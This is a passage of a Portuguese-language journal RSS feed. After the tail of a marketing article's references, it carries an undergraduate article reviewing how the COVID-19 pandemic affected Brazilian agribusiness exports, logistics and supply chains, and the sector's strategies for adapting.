<p class="wp-block-paragraph">SILK, Alvin J. <strong>O que é marketing? Tradução de Roberto Cataldo Costa</strong>. – Porto Alegre: Bookman, 2008.</p>



<p class="wp-block-paragraph">SAKAMOTO, A. <strong>Marketing educativo: uma estratégia sustentável de construção de valor.</strong> Revista Brasileira de Marketing, v. 23, n. 2, p. 88-105, 2023. Disponível em: <a href="https://revistabmkt.org.br/article/view/1203">https://revistabmkt.org.br/article/view/1203</a>. Acesso em: 15 jun. 2025.</p>



<p class="wp-block-paragraph">SANTOS, L. P.; ALMEIDA, F. S. <strong>Ética no marketing digital: práticas sustentáveis para a geração Z.</strong> Revista Foco, v. 16, n. 12, p. 55-72, 2023. Disponível em: <a href="https://ojs.focopublicacoes.com.br/index.php/foco/article/view/1445">https://ojs.focopublicacoes.com.br/index.php/foco/article/view/1445</a>. Acesso em: 15 jun. 2025.</p>



<p class="wp-block-paragraph">SILVA, G. H.; MORESI, E. <strong>A influência da prova social nas decisões de compra no e-commerce brasileiro.</strong> Revista Foco, v. 16, n. 12, p. 88-102, 2022. Disponível em: <a href="https://ojs.focopublicacoes.com.br/index.php/foco/article/view/1437">https://ojs.focopublicacoes.com.br/index.php/foco/article/view/1437</a>. Acesso em: 15 jun. 2025.</p>



<p class="wp-block-paragraph">SOMOLON, Michael R. <strong>O comportamento do consumidor: comprando, possuindo e sendo. </strong>9. ed. Porto Alegre, RS: Bookman, 2011.</p>



<p class="wp-block-paragraph">STEWART, B. <strong>Gatilhos mentais: como funcionam e como usá-los com ética nas vendas.</strong> 2024. Disponível em: <a href="https://brunostewart.com/gatilhos-mentais-eticos/">https://brunostewart.com/gatilhos-mentais-eticos/</a>. Acesso em: 15 jun. 2025.</p>



<p class="wp-block-paragraph">TYBOUT, Alice M. <strong>Marketing.</strong>&nbsp; Editora Saraiva, 2013. E-book. ISBN 9788502213623. Disponível em:&nbsp;https://integrada.minhabiblioteca.com.br/#/books/9788502213623/. Acesso em: 08 abr. 2025.</p>



<p class="wp-block-paragraph">WOOD, Marian B. <strong>Planejamento de Marketing. </strong>Editora Saraiva, 2015. Ebook. ISBN 9788502629882. Disponível em: https://integrada.minhabiblioteca.com.br/#/books/9788502629882/. Acesso em: 08 abr. 2025.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Graduanda do Curso de Administração do Centro de Ensino Superior de São Gotardo. E-mail: ellenstsoliveira26@gmail.com <br><sup>2</sup>Graduanda do Curso de Administração do Centro de Ensino Superior de São Gotardo. E-mail: Maria.luizallecontabilidade@gmail.com<br><sup>3</sup>Orientador. E-mail: Leonarcf@gmail.com</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>OS IMPACTOS DA PANDEMIA NA EXPORTAÇÃO DO AGRONEGÓCIO: ADAPTAÇÃO NO PÓS COVID E ESTRATÉGIAS</title>
		<link>https://revistaft.com.br/os-impactos-da-pandemia-na-exportacao-do-agronegocio-adaptacao-no-pos-covid-e-estrategias/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Thu, 18 Sep 2025 14:26:19 +0000</pubDate>
				<category><![CDATA[Administração]]></category>
		<category><![CDATA[Volume 29 – Edição 150/SET 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=235119</guid>

					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202509181125 Ana Luiza Cunha FernandesKerolainy Alves SantosOrientador: Guilherme Victor Silva Machado RESUMO O agronegócio é um dos pilares da economia brasileira, responsável por significativa participação no Produto Interno Bruto (PIB) e na geração de empregos. Com o advento da pandemia de COVID-19, o setor enfrentou desafios inéditos, como interrupções nas cadeias de suprimentos, [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202509181125</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Ana Luiza Cunha Fernandes<br>Kerolainy Alves Santos<br>Orientador: Guilherme Victor Silva Machado</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO</strong></p>



<p class="wp-block-paragraph">O agronegócio é um dos pilares da economia brasileira, responsável por significativa participação no Produto Interno Bruto (PIB) e na geração de empregos. Com o advento da pandemia de COVID-19, o setor enfrentou desafios inéditos, como interrupções nas cadeias de suprimentos, aumento dos custos logísticos, escassez de insumos e restrições sanitárias que afetaram a produção e a comercialização de produtos. Apesar desse cenário adverso, o agronegócio demonstrou capacidade de adaptação e resiliência diante da crise sanitária. O objetivo foi analisar o impacto da pandemia sobre o agronegócio brasileiro, considerando as dificuldades impostas e as estratégias adotadas para mitigar os efeitos da crise. A pesquisa foi desenvolvida com base em revisão bibliográfica, utilizando dados de estudos e relatórios publicados entre 2020 e 2023. Os resultados apontam que, mesmo diante das limitações logísticas e operacionais, o setor manteve o desempenho positivo nas exportações, ampliou a mecanização e buscou novos mercados consumidores. Além disso, destacou-se o papel do agronegócio na balança comercial brasileira e sua contribuição para a estabilidade econômica no período pandêmico. Conclui-se que a atuação estratégica, o uso da tecnologia e a forte inserção internacional foram determinantes para que o agronegócio não apenas resistisse à crise, mas também se consolidasse como setor essencial para o enfrentamento dos impactos econômicos da pandemia no Brasil.</p>



<p class="wp-block-paragraph"><strong>Palavras-chaves: </strong>Pandemia; Exportação; Comércio.</p>



<p class="wp-block-paragraph"><strong>1. INTRODUÇÃO&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">O agronegócio, como um dos pilares da economia nacional, apresentou oscilações significativas durante o período pandêmico, especialmente no que diz respeito à logística, produção e comércio exterior. O fechamento de fronteiras, a escassez de mão de obra, a elevação nos custos de produção e transporte, bem como as restrições sanitárias, impuseram grandes desafios às cadeias produtivas e à comercialização internacional de produtos agroindustriais.</p>



<p class="wp-block-paragraph">Durante o auge da pandemia, a desorganização das cadeias de suprimentos, a redução da capacidade produtiva e os aumentos nos preços de insumos afetaram diretamente o abastecimento interno e externo, impactando inclusive o acesso a itens básicos da cesta alimentar. Tais dificuldades, no entanto, foram enfrentadas por meio de estratégias adaptativas do setor, que permitiram não apenas a manutenção das exportações, mas também a consolidação do Brasil como um dos maiores exportadores de commodities agrícolas, como a carne bovina.</p>



<p class="wp-block-paragraph">A importância deste estudo reside na necessidade de compreender como o agronegócio brasileiro respondeu às adversidades impostas por uma crise sanitária global, identificando suas estratégias de resiliência e os efeitos econômicos dessa atuação. Diante disso, o presente estudo tem como objetivo analisar o desempenho do agronegócio brasileiro durante a pandemia de COVID-19, com ênfase em sua contribuição para a economia nacional, especialmente para o PIB e a balança comercial.</p>



<p class="wp-block-paragraph">Os objetivos específicos incluem descrever as mudanças nas cadeias de suprimentos e na logística do agronegócio antes e depois da pandemia; listar e analisar as principais dificuldades enfrentadas para a exportação no período pós-pandêmico; compreender as estratégias adotadas pelo setor para superar os desafios impostos pela crise sanitária; e comparar os cenários do agronegócio no período pré e pós-pandemia, identificando as principais modificações e adaptações.</p>



<p class="wp-block-paragraph">A pesquisa se fundamenta em uma abordagem qualitativa e descritiva, com base em revisão bibliográfica de estudos e relatórios publicados entre os anos de 2020 e 2023, que abordam o comportamento do agronegócio no contexto pandêmico. O trabalho está estruturado em três seções principais, além desta introdução e das considerações finais: a primeira trata do contexto pré-pandêmico do agronegócio brasileiro; a segunda discute os impactos diretos e indiretos da pandemia; e a terceira analisa as estratégias de recuperação adotadas pelo setor. Com isso, pretende-se contribuir para o entendimento do papel do agronegócio no enfrentamento de crises sanitárias e econômicas.</p>



<p class="wp-block-paragraph"><strong>2. O AGRONEGÓCIO NO BRASIL E SEUS DESAFIOS</strong></p>



<p class="wp-block-paragraph">O agronegócio pode ser definido como um conjunto de atividades econômicas relacionadas à produção, processamento e comercialização de produtos agrícolas e pecuários. O Brasil é reconhecido mundialmente como um dos maiores produtores e exportadores de alimentos do mundo, com isso o agronegócio tem sido o setor econômico que mais contribui com o PIB(Produto Interno Bruto) Brasileiro, tendo importância significativa na economia do país. Nos últimos anos, o setor agropecuário foi muito importante no crescimento da economia do país.&nbsp;</p>



<p class="wp-block-paragraph">Alguns produtos se destacam por ser de extrema relevância no mercado internacional, contribuindo com uma balança comercial favorável. “O Brasil lidera as vendas externas de soja, carne bovina, frango, café, açúcar e suco de laranja. Em 2019, 43% das exportações brasileiras foram provenientes do agronegócio, evidenciando sua importância para o equilíbrio econômico nacional” (Silva; Rodrigues; Yamashita, 2021).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1 –</strong> Brasil: exportações do agronegócio por produtos – principais cadeias agroindustriais em valores correntes (US$ bilhões).</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="658" height="266" src="https://revistaft.com.br/wp-content/uploads/2025/09/image-670.png" alt="" class="wp-image-235120" srcset="https://revistaft.com.br/wp-content/uploads/2025/09/image-670.png 658w, https://revistaft.com.br/wp-content/uploads/2025/09/image-670-300x121.png 300w" sizes="(max-width: 658px) 100vw, 658px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Insper Agro Global, 2025.</p>



<p class="wp-block-paragraph">Ao analisar o gráfico pode se ver que o agronegócio brasileiro teve um grande salto nas exportações entre 2000 e 2024.</p>



<p class="wp-block-paragraph">Pode-se ver em destaque a soja que aparece como principal produto exportado, e logo em seguida pelas carnes e pelo açúcar. É notório que ao longo dos anos outros setores também foram liderando e tendo um grande papel de importância no agronegócio, o que reforça a força e diversidade na economia do nosso país.</p>



<p class="wp-block-paragraph">O agronegócio brasileiro, diante da importância para a economia nacional que teve um avanço grande nas exportações, enfrenta diversos desafios no setor agrícola que precisaram ser adaptados para garantir a sua contribuição e fortalecimento. Entre os principais obstáculos estão problemas na logística, com a infraestrutura precária no transporte de estradas, portos e ferrovias, que dificultam a produção. Além disso, fatores climáticos, como tempestade, secas e enchentes, impactam diretamente as safras e custo com frete.</p>



<p class="wp-block-paragraph">Outro ponto importante é conseguir atender as necessidades de exigências na sustentabilidade e ambientais, tanto no mercado interno quanto internacional. A busca por práticas agrícolas mais responsáveis na demanda, adaptações e investimentos constantes por parte dos produtores. Por fim, os preços internacionais e as oscilações cambiais também representam riscos, prejudicando a competitividade para o agronegócio brasileiro, afetando os produtos importados do exterior.</p>



<p class="wp-block-paragraph"><strong>2.1 IMPACTOS DA PANDEMIA NO COMÉRCIO INTERNACIONAL</strong></p>



<p class="wp-block-paragraph">Para conter a propagação do (COVID-19) os países em sua grande maioria passaram por um período rigoroso de quarentena e isolamento social, o que causou danos severos em vários segmentos de mercado e na economia, em relação às exportações e importações de produtos agropecuários não foi diferente, diversas parcerias comerciais foram interrompidas e fronteiras foram fechadas diante dessa situação.</p>



<p class="wp-block-paragraph">Apesar de várias medidas sanitárias colocadas em prática o vírus se espalhou rapidamente, “em março de 2020, a Organização Mundial da Saúde (OMS) declarou a pandemia do Coronavírus (SARS-CoV-2), levando à adoção de medidas restritivas que impactaram diversos setores econômicos globalmente, incluindo o agronegócio” (Machado; Malagolli, 2021).</p>



<p class="wp-block-paragraph">A pandemia provocou diversas transformações no comércio internacional, empresas de vários segmentos que se apresentavam no mercado de exportações e importações tiveram suas operações comprometidas devido ao fechamento de fronteiras e restrições logísticas. “A Organização Mundial do Comércio (OMC) estimou que a pandemia poderia reduzir o fluxo comercial global entre 13% e 32%, dependendo da gravidade do cenário” (Machado; Malagolli, 2021).</p>



<p class="wp-block-paragraph">Em alguns setores da economia o impacto da pandemia foi maior em relação a outros, algumas indústrias tiveram que encerrar suas atividades por completo devido às medidas de isolamento, o comércio também sofreu muito naquele momento, no entanto empresas de tecnologias e do mercado digital se saíram melhor.</p>



<p class="wp-block-paragraph"><strong>2.2 LOGÍSTICA E CADEIAS DE SUPRIMENTO NO AGRONEGÓCIO</strong></p>



<p class="wp-block-paragraph">Segundo o KUMAR (2020) e Shokrani (2020), com o surto da Covid 19, os governos estavam sendo pressionados a tomarem medidas de isolamento consequentemente isso tornou-se preocupações no comércio e na cadeia de suprimento como no atraso de entregas entre-as compras de mercadorias que afetou diretamente nas exportações.&nbsp;</p>



<p class="wp-block-paragraph">Contudo, a pandemia causou instabilidade na oferta e demanda diante das operações equilibrando eficiência e redução de custos. Muitas empresas tentaram reestruturar suas cadeias de suprimentos e reduzindo a dependência da China muitas empresas começaram a mudar suas estratégias de logística buscando novos fornecedores e direcionando os custos operacionais (Sheffi, 2020). Neste período, a pandemia diante da cadeia de suprimentos a demanda aumentou e a oferta não foi capaz de sustentar a crise sanitária com a alta procura de proteção contra o vírus e gerando falta de certos produtos, como máscaras e álcool em gel interrupções na produção por causa dos colaboradores infectados falta de matéria-prima (Ivanov, 2020; Rowan; Laffey, 2020).</p>



<p class="wp-block-paragraph">O sistema de logística é a maneira fundamental de interrupções e recuperação durante a pandemia, itens de alimentos, medicamentos, equipamentos de respiração (Chol, 2020). Diante da economia foi o segundo susto com efeitos da pandemia sobre a cadeia de suprimentos global.</p>



<p class="wp-block-paragraph"><strong>3. IMPACTOS DA PANDEMIA NO AGRONEGÓCIO</strong></p>



<p class="wp-block-paragraph">A pandemia da Covid-19, gerou efeitos severos em diversos setores da economia mundial, inclusive no agronegócio. As medidas restritivas adotadas para conter a propagação do vírus, como lockdowns e quarentenas, afetaram cadeias produtivas e logísticas, trazendo incertezas e desafios tanto para o comércio nacional quanto internacional (Machado; Malagolli, 2021).</p>



<p class="wp-block-paragraph">No setor agrícola, um dos principais impactos foi o aumento expressivo nos custos de produção, que resultou em inflação agrícola e elevação nos preços dos produtos. Esse cenário foi agravado pela indisponibilidade de insumos, como fertilizantes e defensivos agrícolas, cuja oferta foi afetada por restrições logísticas e pela limitação da circulação de pessoas e mercadorias (Leal; Duarte; Duarte, 2022).</p>



<p class="wp-block-paragraph">Além disso, houve uma acentuada dificuldade na obtenção de mão-de-obra qualificada para as atividades no campo, em razão do distanciamento social e das medidas de quarentena impostas por diversos governos. Como resposta, muitos produtores passaram a adotar a mecanização e a automação das lavouras, utilizando tratores e equipamentos inteligentes que permitissem otimizar o uso de insumos e reduzir a dependência de trabalhadores (Tamarindo; Pires, 2021).</p>



<p class="wp-block-paragraph">Apesar dos impactos negativos, o agronegócio brasileiro apresentou resiliência. Em um contexto global de retração econômica, o Brasil se consolidou como fornecedor estratégico de alimentos, respondendo por grande parte das exportações de produtos como soja, carne e açúcar. Estima-se que, em 2022, o país tenha alimentado cerca de 1 bilhão de pessoas no mundo, segundo a FAO (Morais, 2022).</p>



<p class="wp-block-paragraph">Estudos nacionais e internacionais, realizados em países como Gana, Indonésia, Estados Unidos, Canadá e regiões brasileiras como o Triângulo Mineiro e o Alto Paranaíba — indicam que o setor agrícola foi um dos mais impactados, ao lado do setor de saúde, durante a pandemia (Tamarindo; Pires, 2021; Silva, M.; Silva R., 2020).</p>



<p class="wp-block-paragraph"><strong>3.1 INTERRUPÇÃO NAS CADEIAS DE SUPRIMENTO E CUSTOS LOGÍSTICOS</strong></p>



<p class="wp-block-paragraph">A pandemia da Covid-19 provocou sérias rupturas nas cadeias globais de suprimento, afetando diretamente a logística de distribuição de insumos e produtos agrícolas. Medidas de contenção da disseminação do vírus, como o fechamento de fronteiras, restrições à circulação de cargas e pessoas, além da diminuição da oferta de transporte terrestre, aéreo e marítimo, dificultaram significativamente o fluxo regular de mercadorias (Lima, 2021).&nbsp;</p>



<p class="wp-block-paragraph">No agronegócio, esse cenário levou à escassez de insumos essenciais, como fertilizantes, sementes, defensivos agrícolas e máquinas. A restrição ao transporte e a elevação do dólar pressionaram os custos de importação desses produtos, contribuindo para o aumento geral dos custos logísticos e de produção. Com a cadeia logística comprometida, produtores passaram a enfrentar atrasos nas entregas, imprevisto no abastecimento e dificuldades para planejar suas safras de forma eficiente (Leal; Duarte; Duarte, 2022).</p>



<p class="wp-block-paragraph">Além disso, a falta de contêineres disponíveis para transporte internacional e o aumento do valor dos fretes agravaram ainda mais a situação. O custo logístico passou a representar uma parcela ainda maior no preço final dos produtos, encarecendo tanto os insumos quanto os produtos acabados. Essa realidade impactou pequenos e médios produtores de forma mais acentuada, devido à sua menor capacidade de negociação e absorção de custos adicionais (Anjos; Gabriel; Silva, 2022).</p>



<p class="wp-block-paragraph">Em resposta a esses desafios, observou-se a necessidade de reestruturação das cadeias produtivas, com foco na regionalização da produção, diversificação de fornecedores e investimento em tecnologias de aplicação e automação logística (Fernandes; Azevedo, 2022). A pandemia evidenciou a importância de sistemas logísticos mais resilientes e adaptáveis, capazes de mitigar impactos causados por eventos de grande escala.</p>



<p class="wp-block-paragraph"><strong>3.2 MUDANÇA NA DEMANDA E BARREIRAS COMERCIAIS</strong></p>



<p class="wp-block-paragraph">Durante os primeiros meses da pandemia de Covid-19, observou-se uma significativa alteração no padrão de consumo global de alimentos. Muitos países passaram a intensificar a aquisição de alimentos básicos e de longa duração, com o objetivo de garantir o abastecimento interno diante da incerteza gerada pela crise sanitária. Esse comportamento provocou um aumento momentâneo da demanda por produtos estocáveis, como arroz, feijão, trigo e enlatados (Andrade <em>et al</em>., 2022).</p>



<p class="wp-block-paragraph">Em sentido oposto, os produtos destinados com grande demanda ao consumo fora do domicílio enfrentaram uma acentuada queda na procura. Itens como carnes nobres, frutas frescas e flores foram afetados diretamente pela redução das atividades em restaurantes, hotéis e eventos, além da diminuição do comércio internacional. Essa retração afetou, sobretudo, setores do agronegócio voltados à exportação para mercados mais exigentes em termos de qualidade e logística (Malta <em>et al</em>., 2021).</p>



<p class="wp-block-paragraph">Paralelamente a essas transformações na demanda, surgiram ou se intensificaram diversas barreiras comerciais. Muitos governos adotaram políticas de proteção ao mercado interno, impondo restrições à exportação de alimentos e ampliando os critérios sanitários exigidos para a circulação internacional de mercadorias. Essas medidas tinham como principal objetivo assegurar o abastecimento nacional e preservar a saúde pública, mas acabaram por dificultar o fluxo comercial e impor desafios adicionais às exportações brasileiras (Leal; Duarte; Duarte, 2022).</p>



<p class="wp-block-paragraph">Em determinadas situações, países importadores chegaram a suspender temporariamente a entrada de produtos alimentícios provenientes de regiões onde foram registrados focos de contaminação por Covid-19, seja em cargas, seja nas unidades de processamento (Anjos; Gabriel; Silva, 2022). Essas ações, frequentemente tomadas de forma unilateral e sem coordenação internacional, geraram insegurança no comércio exterior e elevaram os custos logísticos e sanitários, à medida que os exportadores precisavam adaptar-se a novas exigências regulatórias.</p>



<p class="wp-block-paragraph">Apesar das adversidades, a pandemia também revelou oportunidades estratégicas para o agronegócio brasileiro. A crescente valorização da segurança alimentar e a busca por fornecedores confiáveis favoreceram o fortalecimento da posição do Brasil no cenário global (Sousa; Sena, 2022).&nbsp;</p>



<p class="wp-block-paragraph"><strong>4. ESTRATÉGIAS DE ADAPTAÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A capacidade de adaptação, fundamentada na teoria das capacidades dinâmicas, refere-se à habilidade das organizações de se ajustarem diante de rupturas, como a provocada pela pandemia de COVID-19. Esse evento extremo gerou impactos significativos nas cadeias de suprimentos globais e comprometeu o processo de globalização em diversos setores, incluindo o agronegócio, setor essencial para a economia brasileira (Akoumani; Santos; Sallaberry, 2023).</p>



<p class="wp-block-paragraph">Durante esse período, o agronegócio teve que se reinventar rapidamente, adotando tecnologias digitais que permitiram maior agilidade nos processos e melhor tomada de decisão. Segundo Sampaio (2015), a pandemia antecipou o uso de plataformas digitais, como reuniões virtuais, marketplaces e ferramentas de gestão agrícola, características do agro 4.0. Com isso, o setor passou a utilizar softwares integrados, armazenamento em nuvem e análise de dados em tempo real para otimizar etapas como preparo do solo, plantio, colheita e distribuição. Conforme apontado por Lara <em>et al</em>. (2022, p. 16):</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Ao vincular a cadeia de suprimentos à teoria da contingência, observa-se grande influência das premissas teorizadas no tocante à necessidade de adaptação ao ambiente, com vistas à manutenção da plenitude das atividades. O ambiente de incertezas gerado pela pandemia (COVID-19) desafiou as organizações a buscarem processos de readequação, visando manter a sintonia em todos os elos da cadeia. Assim, verifica-se que as contingências impostas pelo contexto podem ser mitigadas ou até mesmo superadas.</p>
</blockquote>



<p class="wp-block-paragraph">Essas inovações garantiram a continuidade da produção, bem como foram fundamentais para manter o ritmo das exportações mesmo diante das restrições logísticas. O uso de tecnologias como piloto automático, GPS, telemetria, sensores meteorológicos e análise climática aumentou a eficiência e reduziu desperdícios, fortalecendo a competitividade do Brasil no mercado internacional (Mspost, 2021).</p>



<p class="wp-block-paragraph">Além disso, a comercialização digital tornou-se uma alternativa essencial. Produtores rurais adaptaram-se ao uso de plataformas de vendas online e ferramentas de rastreamento de mercadorias, garantindo acesso aos mercados externos. Técnicas como o uso de drones na aplicação de defensivos agrícolas e no monitoramento de pragas também contribuíram para a precisão e segurança no campo (Consema, 2020).</p>



<p class="wp-block-paragraph">Portanto, a pandemia acelerou o processo de digitalização do agronegócio brasileiro, e essas estratégias de adaptação foram cruciais não apenas para manter a produção, mas para sustentar e expandir as exportações no período pós-COVID.</p>



<p class="wp-block-paragraph"><strong>4.1 INOVAÇÃO E DIVERSIFICAÇÃO DE MERCADORIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">No cenário pós-pandemia, o agronegócio precisou buscar alternativas para manter sua competitividade em meio às incertezas do mercado global. Nesse contexto, a inovação tecnológica e a diversificação de mercadorias tornaram-se estratégias fundamentais para ampliar a capacidade produtiva, reduzir riscos e agregar valor aos produtos exportados (Schneider <em>et al</em>., 2020).</p>



<p class="wp-block-paragraph">A pandemia de COVID-19 acelerou a adoção de tecnologias digitais no agronegócio, impulsionando inovações em processos produtivos e estratégias de comercialização. Muitos produtores passaram a utilizar plataformas digitais para otimizar sua produção, obter maior controle sobre as mercadorias, gerenciar estoques, adquirir insumos agrícolas e monitorar lavouras de maneira mais precisa. Ferramentas de gestão contribuíram significativamente para facilitar essas operações, permitindo tomadas de decisão mais eficientes diante de um cenário de instabilidade (Salles, 2021).</p>



<p class="wp-block-paragraph">Nesse contexto, surgiu uma necessidade crescente de diversificar mercadorias e adaptar-se a novos perfis de consumo, tanto no mercado interno quanto externo. A crise sanitária expôs vulnerabilidades, mas também abriu espaço para transformações estruturais no setor. A inovação tornou-se uma resposta essencial à crise, com o uso de tecnologias voltadas à agricultura de precisão, conectividade no campo, softwares de gestão e automação de processos. Essa nova dinâmica permitiu ganhos de produtividade e redução de desperdícios, aspectos fundamentais para atender às exigências do comércio exterior (Camargo; Soares, 2021).</p>



<p class="wp-block-paragraph">O modo tecnológico do agronegócio se sustenta em um padrão técnico-econômico orientado por novos produtos, processos e rotinas que agregam valor. As firmas inseridas nessas cadeias produtivas passaram a focar na diferenciação e na variedade, por meio de economias de escopo — ou seja, na capacidade de produzir diversos produtos em uma mesma estrutura produtiva com base na complementaridade de recursos. Isso possibilita tanto a entrada em novos mercados quanto a introdução de novos produtos em mercados já consolidados (Leo, 2022).</p>



<p class="wp-block-paragraph">De acordo com a Confederação da Agricultura e Pecuária do Brasil (CNA, 2021), o Brasil atingiu recordes de exportações durante a pandemia, especialmente pelos portos marítimos, consolidando-se como um dos principais exportadores mundiais. O agronegócio contribuiu de maneira decisiva para a sustentação da economia nacional: o Produto Interno Bruto (PIB) do setor saltou de 20,5% em 2019 para 26,6% em 2020, totalizando R$ 2 trilhões, dentro de um PIB nacional de R$ 7,45 trilhões.</p>



<p class="wp-block-paragraph">Esses avanços reforçam que, mesmo diante de uma crise global, a inovação e a diversificação tornaram-se estratégias fundamentais de resiliência no agronegócio brasileiro, contribuindo para sua competitividade, sustentabilidade e relevância no cenário internacional (Leo, 2022).</p>



<p class="wp-block-paragraph"><strong>4.2 EFICIÊNCIA OPERACIONAL E PARCERIAS ESTRATÉGIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">A eficiência operacional nos agronegócios tem conquistado grande destaque&nbsp; através da pandemia,diante disso foi necessário adotar novas estratégias em várias demandas e dar conta do setor de entrega e o e-commerce, com a logística tornou-se a peça principal para superar a grande demanda em todo centro comercial. Deste modo, tiveram que contratar profissionais proativos que soubessem lidar com sistemas de distribuição, observou-se que com novas ações aumentaria a capacidade produtiva (Alves; Saugo, 2023).&nbsp;</p>



<p class="wp-block-paragraph">Entretanto aumentar transportes terceirizados e treinamentos em equipe poderia contribuir para que mais pessoas pudessem trabalhar com sistemas de controle de entrega, a partir disso tiveram que produzir mais do que poderia consumir e criar condições de armazenamento e transporte de forma ágil e eficaz (Dias <em>et al.</em>, 2021).</p>



<p class="wp-block-paragraph">De acordo com Biachin, Pagnussat (2022), enquanto na economia e nos empregos, foram afetados com o presencial. Entretanto o crescimento das vendas on-line aumentou significativamente 19%, já com o Produto interno bruto chegando a 30% , pois o isolamento social é algo que foi extremamente importante para a população mundial. Com isso o Brasil passou a crescer no setor de exportação e entregas online, que gerou novos desafios logísticos com alta demanda de compra causando atrasos de entregas.&nbsp;</p>



<p class="wp-block-paragraph">Dessa forma, as parcerias estratégicas foram fundamentais para promover a integração entre os diversos elos da cadeia produtiva, trazendo maior eficiência operacional e capacidade de resposta às exigências do mercado. Elas contribuíram para a redução de custos, aumento da produtividade e melhoria do serviço ao consumidor. Além disso, possibilitaram a inserção de pequenos e médios produtores no mercado digital, fortalecendo a competitividade do agronegócio brasileiro tanto no cenário nacional quanto internacional (Wesz Junior <em>et al</em>., 2021).</p>



<p class="wp-block-paragraph"><strong>5. CONSIDERAÇÕES FINAIS&nbsp;</strong></p>



<p class="wp-block-paragraph">O presente estudo analisou o desempenho do agronegócio brasileiro durante a pandemia de COVID-19, com ênfase em sua contribuição para a economia nacional, especialmente para o Produto Interno Bruto (PIB) e a balança comercial. Verificou-se que, mesmo diante de um cenário de incertezas e restrições globais, o setor agropecuário brasileiro demonstrou notável capacidade de adaptação, mantendo altos níveis de produção e exportação.&nbsp;</p>



<p class="wp-block-paragraph">Entre os principais resultados, destaca-se a resiliência do agronegócio frente aos desafios logísticos e sanitários, com destaque para a manutenção das exportações de commodities como soja, carne bovina e açúcar, que foram fundamentais para equilibrar a balança comercial do país. Além disso, observou-se o crescimento de investimentos em tecnologia e mecanização como forma de superar a escassez de mão de obra e reduzir os impactos da crise sanitária nas operações rurais.</p>



<p class="wp-block-paragraph">No entanto, o estudo apresenta algumas limitações. A principal delas refere-se à dependência de fontes secundárias de dados, baseando-se em relatórios e publicações científicas disponíveis entre os anos de 2020 e 2023, o que pode restringir a abrangência temporal da análise e a atualização de informações em tempo real. Além disso, por tratar-se de uma abordagem qualitativa e descritiva, não foi possível mensurar de forma exata o impacto econômico de cada variável envolvida, o que poderia ser aprofundado em pesquisas futuras com métodos quantitativos e dados estatísticos específicos.</p>



<p class="wp-block-paragraph">Como contribuição, este trabalho oferece uma análise abrangente sobre os efeitos da pandemia no agronegócio brasileiro, ressaltando sua importância estratégica para a segurança alimentar global e para a economia nacional em tempos de crise. Ao discutir os desafios enfrentados e as estratégias de superação adotadas, o estudo pode subsidiar gestores públicos, empresários do setor e pesquisadores na formulação de políticas e ações voltadas à sustentabilidade, resiliência e inovação no campo.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong></p>



<p class="wp-block-paragraph">AKOUMANI, Messan Komlanvi; SANTOS, Edicreia Andrade dos; SALLABERRY, Jonatas Dutra. Influências da inovação do modelo de negócios na orientação empreendedora e no desempenho organizacional: evidências nos supermercados catarinenses.&nbsp;<strong>Revista Catarinense da Ciência Contábil</strong>, n. 22, p. 4, 2023.</p>



<p class="wp-block-paragraph">ANJOS, Fabricio Nunes Oliveira; GABRIEL, Victor Nunes; SILVA, Thames Richard. Falta de contêineres na cadeia logística no transporte internacional.<strong> Revista Conecta</strong>, v. 5, n. 2, p. 53-65, 2022.</p>



<p class="wp-block-paragraph">ANDRADE, Giovanna Calixto et al. Mudanças nos marcadores da alimentação durante a pandemia de covid-19 no Brasil.&nbsp;<strong>Revista de Saúde Pública</strong>, v. 57, p. 54, 2023.</p>



<p class="wp-block-paragraph">CAMARGO, Fernando Silveira; SOARES, Cleber Oliveira. Perspectivas para a inovação no agronegócio brasileiro. <strong>Revista de Política Agrícola</strong>, v. 30, n. 3, p. 3, 2021.</p>



<p class="wp-block-paragraph">CHOI, T. Y; ROGERS, D.; VAKIL, B. <strong>O coronavírus é um alerta para a gestão da</strong> <strong>cadeia de suprimentos. Harvard Business Review Brasil</strong>. Disponível em: <a href="https://hbrbr.com.br/o-coronavirus-e-um-alerta-para-a-gestao-da-cadeia-de-suprimentos/">https://hbrbr.com.br/o-coronavirus-e-um-alerta-para-a-gestao-da-cadeia-de-suprimentos/</a> Acesso em: 04 de Set. 2020.</p>



<p class="wp-block-paragraph"><a href="https://repositorio.uninter.com/bitstream/handle/1/1533/2023-8-FABIANO%20FREITAS%20CHENATTI%5eG%28RU1983725%29-fabiano.chenatti%40gmail.com-Valinhos%20-%20SP.pdf?sequence=1&amp;isAllowed=y">https://repositorio.uninter.com/bitstream/handle/1/1533/2023-8-FABIANO%20FREITAS%20CHENATTI%5eG%28RU1983725%29-fabiano.chenatti%40gmail.com-Valinhos%20-%20SP.pdf?sequence=1&amp;isAllowed=y</a></p>



<p class="wp-block-paragraph">IVANOV, Dmitry. Predicting the impacts of epidemic outbreaks on global supply chains: A simulation-based analysis on the coronavirus outbreak (COVID-19/SARS-CoV-2) case. <strong>Transportation Research Part E: Logistics and Transportation Review</strong>, v. 136, p. 101922, 2020.</p>



